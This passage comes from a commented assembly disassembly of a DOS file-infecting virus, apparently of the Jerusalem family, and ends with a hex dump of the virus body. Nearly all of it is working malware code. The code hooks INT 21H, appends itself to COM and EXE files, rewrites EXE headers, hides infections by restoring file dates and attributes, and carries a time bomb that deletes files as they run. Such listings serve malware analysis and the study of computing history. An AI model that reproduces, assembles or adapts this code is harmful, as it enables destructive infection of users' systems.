JNE N21_20 ;
|
||||
JMP N21_50 ;...JUMP TO _50
|
||||
;
|
||||
N21_20: POPF ; (OUR PUSHF)
|
||||
JMP far CS:[OLD_21] ;ANY OTHER INT 21 GOES TO OLD VECTOR
|
||||
;
|
||||
N21_30: POP AX ;REMOVE OUR (PUSHF)
|
||||
POP AX ;?
|
||||
MOV AX,100H ;
|
||||
MOV CS:[000A],AX ;
|
||||
POP AX ;
|
||||
MOV CS:[000C],AX ;
|
||||
REP MOVSB ;
|
||||
POPF ; (OUR PUSHF)
|
||||
MOV AX,CS:[000F] ;
|
||||
JMP far CS:[000A] ;
|
||||
;
|
||||
N21_40: ADD SP,+06 ;0298 ;
|
||||
POPF ; (OUR PUSHF)
|
||||
MOV AX,CS ;
|
||||
MOV SS,AX ;
|
||||
MOV SP,710H ;SIZE OF VIRUS CODE
|
||||
PUSH ES ;
|
||||
PUSH ES ;02A4 06
|
||||
XOR DI,DI ;02A5 33FF
|
||||
PUSH CS ;02A7 0E
|
||||
POP ES ;02A8 07
|
||||
MOV CX,0010 ;02A9 B91000
|
||||
MOV SI,BX ;02AC 8BF3
|
||||
MOV DI,0021 ;02AE BF2100
|
||||
REP MOVSB ;02B2 A4
|
||||
MOV AX,DS ;02B3 8CD8
|
||||
MOV ES,AX ;02B5 8EC0
|
||||
MUL Word ptr CS:[A007A] ;02B7 2EF7267A00
|
||||
ADD AX,CS:[002B] ;02BC 2E03062B00
|
||||
ADC DX,+00 ;02C1 83D200
|
||||
DIV Word ptr CS:[A007A] ;02C4 2EF7367A00
|
||||
MOV DS,AX ;02C9 8ED8
|
||||
MOV SI,DX ;02CB 8BF2
|
||||
MOV DI,DX ;02CD 8BFA
|
||||
MOV BP,ES ;02CF 8CC5
|
||||
MOV BX,CS:[002F] ;02D1 2E8B1E2F00
|
||||
OR BX,BX ;02D6 0BDB
|
||||
JE 02ED ;02D8 7413
|
||||
MOV CX,8000 ;02DA B90080
|
||||
REP MOVSW ;02DE A5
|
||||
ADD AX,1000 ;02DF 050010
|
||||
ADD BP,1000 ;02E2 81C50010
|
||||
MOV DS,AX ;02E6 8ED8
|
||||
MOV ES,BP ;02E8 8EC5
|
||||
DEC BX ;02EA 4B
|
||||
JNE 02DA ;02EB 75ED
|
||||
MOV CX,CS:[002D] ;02ED 2E8B0E2D00
|
||||
REP MOVSB ;02F3 A4
|
||||
POP AX ;02F4 58
|
||||
PUSH AX ;02F5 50
|
||||
ADD AX,0010 ;02F6 051000
|
||||
ADD CS:[0029],AX ;02F9 2E01062900
|
||||
ADD CS:[0025],AX ;02FE 2E01062500
|
||||
MOV AX,CS:[0021] ;0303 2EA12100
|
||||
POP DS ;0307 1F
|
||||
POP ES ;0308 07
|
||||
MOV SS,CS:[0029] ;0309 2E8E162900
|
||||
MOV SP,CS:[0027] ;030E 2E8B262700
|
||||
JMP far CS:[0023] ;0313 2EFF2E2300
|
||||
;
|
||||
;---------------------------------------;
|
||||
; IT IS TIME FOR THIS FILE TO DIE... ;
|
||||
; THIS IS WHERE IT GETS DELETED ! ;
|
||||
;---------------------------------------;
|
||||
N21_5A: XOR CX,CX ;
|
||||
MOV AX,4301H ;
|
||||
INT 21H ;CHANGE FILE MODE (ATT=0)
|
||||
;
|
||||
MOV AH,41H ;
|
||||
INT 21H ;DELETE A FILE
|
||||
;
|
||||
MOV AX,4B00H ;LOAD AND EXECUTE A PROGRAM
|
||||
POPF ; (OUR PUSHF)
|
||||
JMP far CS:[OLD_21] ;
|
||||
;
|
||||
;---------------------------------------;
|
||||
; START INFECTION ;
|
||||
;---------------------------------------;
|
||||
N21_50: CMP Byte ptr CS:[TIME_BOMB],1 ;032C ;IF TIME TO DIE...
|
||||
JE N21_5A ;...JUMP
|
||||
;
|
||||
MOV Word ptr CS:[HANDLE],-1 ;ASSUME NOT OPEN
|
||||
MOV Word ptr CS:[A008F],0 ;
|
||||
MOV word ptr CS:[HOST_NAME],DX ;SAVE POINTER TO FILE NAME
|
||||
MOV word ptr CS:[HOST_NAME+2],DS ;
|
||||
;
|
||||
;INFECT PROCESS SEEMS TO OCCUR HERE ;
|
||||
PUSH AX ;034C 50
|
||||
PUSH BX ;034D 53
|
||||
PUSH CX ;034E 51
|
||||
PUSH DX ;034F 52
|
||||
PUSH SI ;0350 56
|
||||
PUSH DI ;0351 57
|
||||
PUSH DS ;0352 1E
|
||||
PUSH ES ;0353 06
|
||||
CLD ;0354 FC
|
||||
MOV DI,DX ;0355 8BFA
|
||||
XOR DL,DL ;0357 32D2
|
||||
CMP Byte ptr [DI+01],3A ;0359 807D013A
|
||||
JNE L0364 ;035D 7505
|
||||
MOV DL,[DI] ;035F 8A15
|
||||
AND DL,1F ;0361 80E21F
|
||||
;
|
||||
L0364: MOV AH,36 ;
|
||||
INT 21H ;GET DISK FREE SPACE
|
||||
CMP AX,-1 ;0368 3DFFFF
|
||||
JNE L0370 ;036B 7503
|
||||
L036D: JMP I_90 ;036D E97702
|
||||
;
|
||||
L0370: MUL BX ;0370 F7E3
|
||||
MUL CX ;0372 F7E1
|
||||
OR DX,DX ;0374 0BD2
|
||||
JNE L037D ;0376 7505
|
||||
CMP AX,710H ;0378 3D1007
|
||||
JC L036D ;037B 72F0
|
||||
L037D: MOV DX,word ptr CS:[HOST_NAME]
|
||||
PUSH DS ;0382 1E
|
||||
POP ES ;0383 07
|
||||
XOR AL,AL ;0384 32C0
|
||||
MOV CX,41 ;0386 B94100
|
||||
REPNE SCASB ;038A AE
|
||||
MOV SI,word ptr CS:[HOST_NAME]
|
||||
L0390: MOV AL,[SI] ;0390 8A04
|
||||
OR AL,AL ;0392 0AC0
|
||||
JE L03A4 ;0394 740E
|
||||
CMP AL,61 ;0396 3C61
|
||||
JC L03A1 ;0398 7207
|
||||
CMP AL,7A ;039A 3C7A
|
||||
JA L03A1 ;039C 7703
|
||||
SUB Byte ptr [SI],20 ;039E 802C20
|
||||
L03A1: INC SI ;03A1 46
|
||||
JMP L0390 ;03A2 EBEC
|
||||
;
|
||||
L03A4: MOV CX,000B ;03A4 B90B00
|
||||
SUB SI,CX ;03A7 2BF1
|
||||
MOV DI,offset COMMAND_COM ;03A9 BF8400
|
||||
PUSH CS ;03AC 0E
|
||||
POP ES ;03AD 07
|
||||
MOV CX,000B ;03AE B90B00
|
||||
REPE CMPSB ;03B2 A6
|
||||
JNE L03B8 ;03B3 7503
|
||||
JMP I_90 ;03B5 E92F02
|
||||
;
|
||||
L03B8: MOV AX,4300H ;
|
||||
INT 21H ;CHANGE FILE MODE
|
||||
JC L03C4 ;03BD 7205
|
||||
;
|
||||
MOV CS:[HOST_ATT],CX ;03BF ;
|
||||
L03C4: JC L03EB ;03C4 7225
|
||||
XOR AL,AL ;03C6 32C0
|
||||
MOV CS:[A004E],AL ;03C8 2EA24E00
|
||||
PUSH DS ;03CC 1E
|
||||
POP ES ;03CD 07
|
||||
MOV DI,DX ;03CE 8BFA
|
||||
MOV CX,41 ;03D0 B94100
|
||||
REPNZ SCASB ;03D4 AE
|
||||
CMP Byte ptr [DI-02],4D ;03D5 807DFE4D
|
||||
JE L03E6 ;03D9 740B
|
||||
CMP Byte ptr [DI-02],6D ;03DB 807DFE6D
|
||||
JE L03E6 ;03DF 7405
|
||||
INC Byte ptr CS:[A004E] ;03E1 2EFE064E00
|
||||
;
|
||||
L03E6: MOV AX,3D00H ;
|
||||
INT 21H ;OPEN FILE READ ONLY
|
||||
L03EB: JC L0447 ;
|
||||
MOV CS:[HANDLE],AX ;03ED ;
|
||||
;
|
||||
MOV BX,AX ;MOVE TO END OF FILE -5
|
||||
MOV AX,4202 ;
|
||||
MOV CX,-1 ;FFFFFFFB
|
||||
MOV DX,-5 ;
|
||||
INT 21H ;MOVE FILE POINTER
|
||||
JC L03EB ;
|
||||
;
|
||||
ADD AX,5 ;0400 ;
|
||||
MOV CS:[A0011],AX ;?SAVE HOST SIZE
|
||||
;
|
||||
MOV CX,5 ;0407 ;READ LAST 5 BYTES OF HOST
|
||||
MOV DX,offset A006B ;
|
||||
MOV AX,CS ;
|
||||
MOV DS,AX ;
|
||||
MOV ES,AX ;
|
||||
MOV AH,3FH ;
|
||||
INT 21H ;READ FROM A FILE
|
||||
;
|
||||
MOV DI,DX ;0417 ;CHECK IF LAST 5 BYTES = 'MsDos'
|
||||
MOV SI,offset MS_DOS ;
|
||||
REPE CMPSB ;
|
||||
JNE L0427 ;
|
||||
MOV AH,3E ;IF == 'MsDos'...
|
||||
INT 21H ;CLOSE FILE
|
||||
JMP I_90 ;...PASS CONTROL TO DOS
|
||||
;
|
||||
L0427: MOV AX,3524 ;GET CRITICAL ERROR VECTOR
|
||||
INT 21H ;GET VECTOR
|
||||
MOV [OLD_24],BX ;
|
||||
MOV [OLD_24+2],ES ;
|
||||
;
|
||||
MOV DX,offset NEW_24 ;
|
||||
MOV AX,2524 ;SET CRITICAL ERROR VECTOR
|
||||
INT 21H ;SET VECTOR
|
||||
;
|
||||
LDS DX,dword ptr [HOST_NAME];
|
||||
XOR CX,CX ;
|
||||
MOV AX,4301H ;
|
||||
INT 21H ;CHANGE FILE MODE
|
||||
L0447: JC L0484 ;
|
||||
;
|
||||
MOV BX,CS:[HANDLE] ;
|
||||
MOV AH,3E ;
|
||||
INT 21H ;CLOSE FILE
|
||||
;
|
||||
MOV Word ptr CS:[HANDLE],-1 ;CLEAR HANDLE
|
||||
;
|
||||
MOV AX,3D02 ;
|
||||
INT 21H ;OPEN FILE R/W
|
||||
JC L0484 ;
|
||||
;
|
||||
MOV CS:[HANDLE],AX ;0460 2EA37000
|
||||
MOV AX,CS ;0464 8CC8
|
||||
MOV DS,AX ;0466 8ED8
|
||||
MOV ES,AX ;0468 8EC0
|
||||
MOV BX,[HANDLE] ;046A 8B1E7000
|
||||
MOV AX,5700 ;046E B80057
|
||||
INT 21H ;GET/SET FILE DATE TIME
|
||||
;
|
||||
MOV [HOST_DATE],DX ;0473 89167400
|
||||
MOV [HOST_TIME],CX ;0477 890E7600
|
||||
MOV AX,4200 ;047B B80042
|
||||
XOR CX,CX ;047E 33C9
|
||||
MOV DX,CX ;0480 8BD1
|
||||
INT 21H ;MOVE FILE POINTER
|
||||
L0484: JC L04C3 ;0484 723D
|
||||
;
|
||||
CMP Byte ptr [A004E],00 ;0486 803E4E0000
|
||||
JE L0490 ;048B 7403
|
||||
JMP L04E6 ;048D EB57
|
||||
;
|
||||
NOP ;048F 90
|
||||
L0490: MOV BX,1000 ;0490 BB0010
|
||||
MOV AH,48 ;0493 B448
|
||||
INT 21H ;ALLOCATE MEMORY
|
||||
JNC L04A4 ;0497 730B
|
||||
;
|
||||
MOV AH,3E ;0499 B43E
|
||||
MOV BX,[HANDLE] ;049B 8B1E7000
|
||||
INT 21H ;CLOSE FILE
|
||||
JMP I_90 ;04A1 E94301
|
||||
;
|
||||
L04A4: INC Word ptr [A008F] ;04A4 FF068F00
|
||||
MOV ES,AX ;04A8 8EC0
|
||||
XOR SI,SI ;04AA 33F6
|
||||
MOV DI,SI ;04AC 8BFE
|
||||
MOV CX,710H ;04AE B91007
|
||||
REP MOVSB ;04B2 A4
|
||||
MOV DX,DI ;04B3 8BD7
|
||||
MOV CX,[A0011] ;?GET HOST SIZE
|
||||
MOV BX,[70H] ;04B9 8B1E7000
|
||||
PUSH ES ;04BD 06
|
||||
POP DS ;04BE 1F
|
||||
MOV AH,3FH ;04BF B43F
|
||||
INT 21H ;READ FROM A FILE
|
||||
L04C3: JC L04E1 ;04C3 721C
|
||||
;
|
||||
ADD DI,CX ;04C5 03F9
|
||||
;
|
||||
XOR CX,CX ;POINT TO BEGINNING OF FILE
|
||||
MOV DX,CX ;
|
||||
MOV AX,4200H ;
|
||||
INT 21H ;MOVE FILE POINTER
|
||||
;
|
||||
MOV SI,offset MS_DOS ;04D0 BE0500
|
||||
MOV CX,5 ;04D3 B90500
|
||||
REP CS:MOVSB ;04D7 2EA4
|
||||
MOV CX,DI ;04D9 8BCF
|
||||
XOR DX,DX ;04DB 33D2
|
||||
MOV AH,40H ;
|
||||
INT 21H ;WRITE TO A FILE
|
||||
L04E1: JC L04F0 ;
|
||||
JMP L05A2 ;
|
||||
;
|
||||
;---------------------------------------;
|
||||
; READ EXE HEADER ;
|
||||
;---------------------------------------;
|
||||
L04E6: MOV CX,1CH ;READ EXE HEADER INTO BUFFER
|
||||
MOV DX,offset EXE_HDR ;
|
||||
MOV AH,3F ;
|
||||
INT 21H ;READ FILE
|
||||
JC L053C ;
|
||||
;
|
||||
;---------------------------------------;
|
||||
; TWEEK EXE HEADER TO INFECTED HSOT ;
|
||||
;---------------------------------------;
|
||||
MOV Word ptr [EXE_HDR+18],1984H ;SAVE HOST'S EXE HEADER INFO
|
||||
MOV AX,[EXE_HDR+14] ; SS
|
||||
MOV [HOST_SS],AX ;
|
||||
MOV AX,[EXE_HDR+16] ; SP
|
||||
MOV [HOST_SP],AX ;
|
||||
MOV AX,[EXE_HDR+20] ; IP
|
||||
MOV [HOST_IP],AX ;
|
||||
MOV AX,[EXE_HDR+22] ; CS
|
||||
MOV [HOST_CS],AX ;
|
||||
MOV AX,[EXE_HDR+4] ; SIZE (IN 512 BLOCKS)
|
||||
CMP Word ptr [EXE_HDR+2],0 ; SIZE MOD 512
|
||||
JZ L051B ;IF FILE SIZE==0...JMP
|
||||
DEC AX ;
|
||||
L051B: MUL Word ptr [BLOCK_SIZE] ;
|
||||
ADD AX,[EXE_HDR+2] ;
|
||||
ADC DX,0 ;AX NOW = FILE SIZE
|
||||
;
|
||||
ADD AX,0FH ;MAKE SURE FILE SIZE IS PARA. BOUND
|
||||
ADC DX,0 ;
|
||||
AND AX,0FFF0H ;
|
||||
MOV [HOST_SIZE],AX ;SAVE POINTER TO BEGINNING OF VIRUS
|
||||
MOV [HOST_SIZE+2],DX ;
|
||||
;
|
||||
ADD AX,710H ;(SIZE OF VIRUS)
|
||||
ADC DX,0 ;
|
||||
L053C: JC L0578 ;IF > FFFFFFFF...JMP
|
||||
DIV Word ptr [BLOCK_SIZE] ;
|
||||
OR DX,DX ;
|
||||
JE L0547 ;
|
||||
INC AX ;
|
||||
L0547: MOV [EXE_HDR+4],AX ;
|
||||
MOV [EXE_HDR+2],DX ;
|
||||
;---------------;
|
||||
MOV AX,[HOST_SIZE] ;DX:AX = HOST SIZE
|
||||
MOV DX,[HOST_SIZE+2] ;
|
||||
DIV Word ptr [A007A] ;
|
||||
SUB AX,[EXE_HEAD+8] ;SIZE OF EXE HDR
|
||||
MOV [EXE_HDR+22],AX ;VALUE OF CS
|
||||
MOV Word ptr [EXE_HDR+20],offset BEGIN_EXE ;VALUE OF IP
|
||||
MOV [EXE_HDR+14],AX ;VALUE OF SS
|
||||
MOV Word ptr [EXE_HDR+16],710H ;VALUE OF SP
|
||||
;---------------;
|
||||
XOR CX,CX ;POINT TO BEGINNING OF FILE (EXE HDR)
|
||||
MOV DX,CX ;
|
||||
MOV AX,4200H ;
|
||||
INT 21H ;MOVE FILE POINTER
|
||||
L0578: JC L0584 ;
|
||||
;
|
||||
;---------------------------------------;
|
||||
; WRITE INFECTED EXE HEADER ;
|
||||
;---------------------------------------;
|
||||
MOV CX,1CH ;
|
||||
MOV DX,offset EXE_HDR ;
|
||||
MOV AH,40H ;
|
||||
INT 21H ;WRITE TO A FILE
|
||||
L0584: JC L0597 ;
|
||||
CMP AX,CX ;
|
||||
JNE L05A2 ;
|
||||
;
|
||||
MOV DX,[HOST_SIZE] ;POINT TO END OF FILE
|
||||
MOV CX,[HOST_SIZE+2] ;
|
||||
MOV AX,4200 ;
|
||||
INT 21H ;MOVE FILE POINTER
|
||||
L0597: JC L05A2 ;
|
||||
;
|
||||
;---------------------------------------;
|
||||
; WRITE VIRUS CODE TO END OF HOST ;
|
||||
;---------------------------------------;
|
||||
XOR DX,DX ;
|
||||
MOV CX,710H ;(SIZE OF VIRUS)
|
||||
MOV AH,40H ;
|
||||
INT 21H ;WRITE TO A FILE
|
||||
;
|
||||
L05A2: CMP Word ptr CS:[008F],0 ;IF...
|
||||
JZ L05AE ;...SKIP
|
||||
MOV AH,49H ;
|
||||
INT 21H ;FREE ALLOCATED MEMORY
|
||||
;
|
||||
L05AE: CMP Word ptr CS:[HANDLE],-1 ;IF ...
|
||||
JE I_90 ;...SKIP
|
||||
;
|
||||
MOV BX,CS:[HANDLE] ;RESTORE HOST'S DATE/TIME
|
||||
MOV DX,CS:[HOST_DATE] ;
|
||||
MOV CX,CS:[HOST_TIME] ;
|
||||
MOV AX,5701H ;
|
||||
INT 21H ;GET/SET FILE DATE/TIME
|
||||
;
|
||||
MOV AH,3EH ;
|
||||
INT 21H ;CLOSE FILE
|
||||
;
|
||||
LDS DX,CS:[HOST_NAME] ;RESTORE HOST'S ATTRIBUTE
|
||||
MOV CX,CS:[HOST_ATT] ;
|
||||
MOV AX,4301H ;
|
||||
INT 21H ;CHANGE FILE MODE
|
||||
;
|
||||
LDS DX,dword ptr CS:[OLD_24];RESTORE CRITICAL ERROR HANDLER
|
||||
MOV AX,2524H ;
|
||||
INT 21H ;SET VECTOR
|
||||
;
|
||||
I_90: POP ES ;
|
||||
POP DS ;
|
||||
POP DI ;
|
||||
POP SI ;
|
||||
POP DX ;
|
||||
POP CX ;
|
||||
POP BX ;
|
||||
POP AX ;
|
||||
POPF ; (OUR PUSHF)
|
||||
JMP far CS:[OLD_21] ;PASS CONTROL TO DOS
|
||||
;
|
||||
;-----------------------------------------------------------------------;
|
||||
; ;
|
||||
;-----------------------------------------------------------------------;
|
||||
;0100 E9 92 00 73 55 4D 73 44-6F 73 00 01 15 18 00 00 i..sUMsDos......
|
||||
;0110 00 00 01 A5 FE 00 F0 60-14 4E 02 56 05 A5 16 48 ...%~.p`.N.V.%.H
|
||||
;0120 7E 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ~...............
|
||||
;0130 00 8E 17 80 00 00 00 80-00 8E 17 5C 00 8E 17 6C ...........\...l
|
||||
;0140 00 8E 17 10 07 7A 34 C5-00 7A 34 10 F0 82 00 4D .....z4E.z4.p..M
|
||||
;0150 5A D0 00 98 00 31 00 20-00 11 00 FF FF 5C 12 10 ZP...1. .....\..
|
||||
;0160 07 84 19 C5 00 5C 12 20-00 00 00 C3 C3 C3 C3 C3 ...E.\. ...CCCCC
|
||||
;0170 05 00 20 00 21 00 2D 00-00 02 10 00 C0 27 01 00 .. .!.-.....@'..
|
||||
;0180 D9 41 28 9B 43 4F 4D 4D-41 4E 44 2E 43 4F 4D 01 YA(.COMMAND.COM.
|
||||
;0190 00 00 00 00 00 FC B4 E0-CD 21 80 FC E0 73 16 80 .....|4`M!.|`s..
|
||||
;01A0 FC 03 72 11 B4 DD BF 00-01 BE 10 07 03 F7 2E 8B |.r.4]?..>...w..
|
||||
;01B0 8D 11 00 CD 21 8C C8 05-10 00 8E D0 BC 00 07 50 ...M!.H....P<..P
|
||||
;01C0 B8 C5 00 50 CB FC 06 2E-8C 06 31 00 2E 8C 06 39 8E.PK|....1....9
|
||||
;01D0 00 2E 8C 06 3D 00 2E 8C-06 41 00 8C C0 05 10 00 ....=....A..@...
|
||||
;01E0 2E 01 06 49 00 2E 01 06-45 00 B4 E0 CD 21 80 FC ...I....E.4`M!.|
|
||||
;01F0 E0 73 13 80 FC 03 07 2E-8E 16 45 00 2E 8B 26 43 `s..|.....E...&C
|
||||
;0200 00 2E FF 2E 47 00 33 C0-8E C0 26 A1 FC 03 2E A3 ....G.3@.@&!|..#
|
||||
;0210 4B 00 26 A0 FE 03 2E A2-4D 00 26 C7 06 FC 03 F3 K.& ~.."M.&G.|.s
|
||||
;0220 A5 26 C6 06 FE 03 CB 58-05 10 00 8E C0 0E 1F B9 %&F.~.KX....@..9
|
||||
;0230 10 07 D1 E9 33 F6 8B FE-06 B8 42 01 50 EA FC 03 ..Qi3v.~.8B.Pj|.
|
||||
;0240 00 00 8C C8 8E D0 BC 00-07 33 C0 8E D8 2E A1 4B ...H.P<..3@.X.!K
|
||||
;0250 00 A3 FC 03 2E A0 4D 00-A2 FE 03 8B DC B1 04 D3 .#|.. M."~..\1.S
|
||||
;0260 EB 83 C3 10 2E 89 1E 33-00 B4 4A 2E 8E 06 31 00 k.C....3.4J...1.
|
||||
;0270 CD 21 B8 21 35 CD 21 2E-89 1E 17 00 2E 8C 06 19 M!8!5M!.........
|
||||
;0280 00 0E 1F BA 5B 02 B8 21-25 CD 21 8E 06 31 00 26 ...:[.8!%M!..1.&
|
||||
;0290 8E 06 2C 00 33 FF B9 FF-7F 32 C0 F2 AE 26 38 05 ..,.3.9..2@r.&8.
|
||||
;02A0 E0 F9 8B D7 83 C2 03 B8-00 4B 06 1F 0E 07 BB 35 `y.W.B.8.K....;5
|
||||
;02B0 00 1E 06 50 53 51 52 B4-2A CD 21 2E C6 06 0E 00 ...PSQR4*M!.F...
|
||||
;02C0 00 81 F9 C3 07 74 30 3C-05 75 0D 80 FA 0D 75 08 ..yC.t0<.u..z.u.
|
||||
;02D0 2E FE 06 0E 00 EB 20 90-B8 08 35 CD 21 2E 89 1E .~...k .8.5M!...
|
||||
;02E0 13 00 2E 8C 06 15 00 0E-1F C7 06 1F 00 90 7E B8 .........G....~8
|
||||
;02F0 08 25 BA 1E 02 CD 21 5A-59 5B 58 07 1F 9C 2E FF .%:..M!ZY[X.....
|
||||
;0300 1E 17 00 1E 07 B4 49 CD-21 B4 4D CD 21 B4 31 BA .....4IM!4MM!41:
|
||||
;0310 00 06 B1 04 D3 EA 83 C2-10 CD 21 32 C0 CF 2E 83 ..1.Sj.B.M!2@O..
|
||||
;0320 3E 1F 00 02 75 17 50 53-51 52 55 B8 02 06 B7 87 >...u.PSQRU8..7.
|
||||
;0330 B9 05 05 BA 10 10 CD 10-5D 5A 59 5B 58 2E FF 0E 9..:..M.]ZY[X...
|
||||
;0340 1F 00 75 12 2E C7 06 1F-00 01 00 50 51 56 B9 01 ..u..G.....PQV9.
|
||||
;0350 40 F3 AC 5E 59 58 2E FF-2E 13 00 9C 80 FC E0 75 @s,^YX.......|`u
|
||||
;0360 05 B8 00 03 9D CF 80 FC-DD 74 13 80 FC DE 74 28 .8...O.|]t..|^t(
|
||||
;0370 3D 00 4B 75 03 E9 B4 00-9D 2E FF 2E 17 00 58 58 =.Ku.i4.......XX
|
||||
;0380 B8 00 01 2E A3 0A 00 58-2E A3 0C 00 F3 A4 9D 2E 8...#..X.#..s$..
|
||||
;0390 A1 0F 00 2E FF 2E 0A 00-83 C4 06 9D 8C C8 8E D0 !........D...H.P
|
||||
;03A0 BC 10 07 06 06 33 FF 0E-07 B9 10 00 8B F3 BF 21 <....3...9...s?!
|
||||
;03B0 00 F3 A4 8C D8 8E C0 2E-F7 26 7A 00 2E 03 06 2B .s$.X.@.w&z....+
|
||||
;03C0 00 83 D2 00 2E F7 36 7A-00 8E D8 8B F2 8B FA 8C ..R..w6z..X.r.z.
|
||||
;03D0 C5 2E 8B 1E 2F 00 0B DB-74 13 B9 00 80 F3 A5 05 E.../..[t.9..s%.
|
||||
;03E0 00 10 81 C5 00 10 8E D8-8E C5 4B 75 ED 2E 8B 0E ...E...X.EKum...
|
||||
;03F0 2D 00 F3 A4 58 50 05 10-00 2E 01 06 29 00 2E 01 -.s$XP......)...
|
||||
;0400 06 25 00 2E A1 21 00 1F-07 2E 8E 16 29 00 2E 8B .%..!!......)...
|
||||
;0410 26 27 00 2E FF 2E 23 00-33 C9 B8 01 43 CD 21 B4 &'....#.3I8.CM!4
|
||||
;0420 41 CD 21 B8 00 4B 9D 2E-FF 2E 17 00 2E 80 3E 0E AM!8.K........>.
|
||||
;0430 00 01 74 E4 2E C7 06 70-00 FF FF 2E C7 06 8F 00 ..td.G.p....G...
|
||||
;0440 00 00 2E 89 16 80 00 2E-8C 1E 82 00 50 53 51 52 ............PSQR
|
||||
;0450 56 57 1E 06 FC 8B FA 32-D2 80 7D 01 3A 75 05 8A VW..|.z2R.}.:u..
|
||||
;0460 15 80 E2 1F B4 36 CD 21-3D FF FF 75 03 E9 77 02 ..b.46M!=..u.iw.
|
||||
;0470 F7 E3 F7 E1 0B D2 75 05-3D 10 07 72 F0 2E 8B 16 wcwa.Ru.=..rp...
|
||||
;0480 80 00 1E 07 32 C0 B9 41-00 F2 AE 2E 8B 36 80 00 ....2@9A.r...6..
|
||||
;0490 8A 04 0A C0 74 0E 3C 61-72 07 3C 7A 77 03 80 2C ...@t.<ar.<zw..,
|
||||
;04A0 20 46 EB EC B9 0B 00 2B-F1 BF 84 00 0E 07 B9 0B Fkl9..+q?....9.
|
||||
;04B0 00 F3 A6 75 03 E9 2F 02-B8 00 43 CD 21 72 05 2E .s&u.i/.8.CM!r..
|
||||
;04C0 89 0E 72 00 72 25 32 C0-2E A2 4E 00 1E 07 8B FA ..r.r%2@."N....z
|
||||
;04D0 B9 41 00 F2 AE 80 7D FE-4D 74 0B 80 7D FE 6D 74 9A.r..}~Mt..}~mt
|
||||
;04E0 05 2E FE 06 4E 00 B8 00-3D CD 21 72 5A 2E A3 70 ..~.N.8.=M!rZ.#p
|
||||
;04F0 00 8B D8 B8 02 42 B9 FF-FF BA FB FF CD 21 72 EB ..X8.B9..:{.M!rk
|
||||
;0500 05 05 00 2E A3 11 00 B9-05 00 BA 6B 00 8C C8 8E ....#..9..:k..H.
|
||||
;0510 D8 8E C0 B4 3F CD 21 8B-FA BE 05 00 F3 A6 75 07 X.@4?M!.z>..s&u.
|
||||
;0520 B4 3E CD 21 E9 C0 01 B8-24 35 CD 21 89 1E 1B 00 4>M!i@.8$5M!....
|
||||
;0530 8C 06 1D 00 BA 1B 02 B8-24 25 CD 21 C5 16 80 00 ....:..8$%M!E...
|
||||
;0540 33 C9 B8 01 43 CD 21 72-3B 2E 8B 1E 70 00 B4 3E 3I8.CM!r;...p.4>
|
||||
;0550 CD 21 2E C7 06 70 00 FF-FF B8 02 3D CD 21 72 24 M!.G.p...8.=M!r$
|
||||
;0560 2E A3 70 00 8C C8 8E D8-8E C0 8B 1E 70 00 B8 00 .#p..H.X.@..p.8.
|
||||
;0570 57 CD 21 89 16 74 00 89-0E 76 00 B8 00 42 33 C9 WM!..t...v.8.B3I
|
||||
;0580 8B D1 CD 21 72 3D 80 3E-4E 00 00 74 03 EB 57 90 .QM!r=.>N..t.kW.
|
||||
;0590 BB 00 10 B4 48 CD 21 73-0B B4 3E 8B 1E 70 00 CD ;..4HM!s.4>..p.M
|
||||
;05A0 21 E9 43 01 FF 06 8F 00-8E C0 33 F6 8B FE B9 10 !iC......@3v.~9.
|
||||
;05B0 07 F3 A4 8B D7 8B 0E 11-00 8B 1E 70 00 06 1F B4 .s$.W......p...4
|
||||
;05C0 3F CD 21 72 1C 03 F9 33-C9 8B D1 B8 00 42 CD 21 ?M!r..y3I.Q8.BM!
|
||||
;05D0 BE 05 00 B9 05 00 F3 2E-A4 8B CF 33 D2 B4 40 CD >..9..s.$.O3R4@M
|
||||
;05E0 21 72 0D E9 BC 00 B9 1C-00 BA 4F 00 B4 3F CD 21 !r.i<.9..:O.4?M!
|
||||
;05F0 72 4A C7 06 61 00 84 19-A1 5D 00 A3 45 00 A1 5F rJG.a...!].#E.!_
|
||||
;0600 00 A3 43 00 A1 63 00 A3-47 00 A1 65 00 A3 49 00 .#C.!c.#G.!e.#I.
|
||||
;0610 A1 53 00 83 3E 51 00 00-74 01 48 F7 26 78 00 03 !S..>Q..t.Hw&x..
|
||||
;0620 06 51 00 83 D2 00 05 0F-00 83 D2 00 25 F0 FF A3 .Q..R.....R.%p.#
|
||||
;0630 7C 00 89 16 7E 00 05 10-07 83 D2 00 72 3A F7 36 |...~.....R.r:w6
|
||||
;0640 78 00 0B D2 74 01 40 A3-53 00 89 16 51 00 A1 7C x..Rt.@#S...Q.!|
|
||||
;0650 00 8B 16 7E 00 F7 36 7A-00 2B 06 57 00 A3 65 00 ...~.w6z.+.W.#e.
|
||||
;0660 C7 06 63 00 C5 00 A3 5D-00 C7 06 5F 00 10 07 33 G.c.E.#].G._...3
|
||||
;0670 C9 8B D1 B8 00 42 CD 21-72 0A B9 1C 00 BA 4F 00 I.Q8.BM!r.9..:O.
|
||||
;0680 B4 40 CD 21 72 11 3B C1-75 18 8B 16 7C 00 8B 0E 4@M!r.;Au...|...
|
||||
;0690 7E 00 B8 00 42 CD 21 72-09 33 D2 B9 10 07 B4 40 ~.8.BM!r.3R9..4@
|
||||
;06A0 CD 21 2E 83 3E 8F 00 00-74 04 B4 49 CD 21 2E 83 M!..>...t.4IM!..
|
||||
;06B0 3E 70 00 FF 74 31 2E 8B-1E 70 00 2E 8B 16 74 00 >p..t1...p....t.
|
||||
;06C0 2E 8B 0E 76 00 B8 01 57-CD 21 B4 3E CD 21 2E C5 ...v.8.WM!4>M!.E
|
||||
;06D0 16 80 00 2E 8B 0E 72 00-B8 01 43 CD 21 2E C5 16 ......r.8.CM!.E.
|
||||
;06E0 1B 00 B8 24 25 CD 21 07-1F 5F 5E 5A 59 5B 58 9D ..8$%M!.._^ZY[X.
|
||||
;06F0 2E FF 2E 17 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
||||
;0700 4D 00 00 0F 00 00 00 00-00 00 00 00 00 00 00 00 M...............
|
||||
;0710 CD 20 0B 1B 00 9A F0 FE-1D F0 2F 01 0E 0A 3C 01 M ....p~.p/...<.
|
||||
;0720 0E 0A EB 04 0E 0A 0E 0A-01 01 01 00 02 FF FF FF ..k.............
|
||||
;0730 FF FF FF FF FF FF FF FF-FF FF FF FF DD 0A 0C 16 ............]...
|
||||
;0740 52 0B 14 00 18 00 52 0B-FF FF FF FF 00 00 00 00 R.....R.........
|
||||
;0750 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
||||
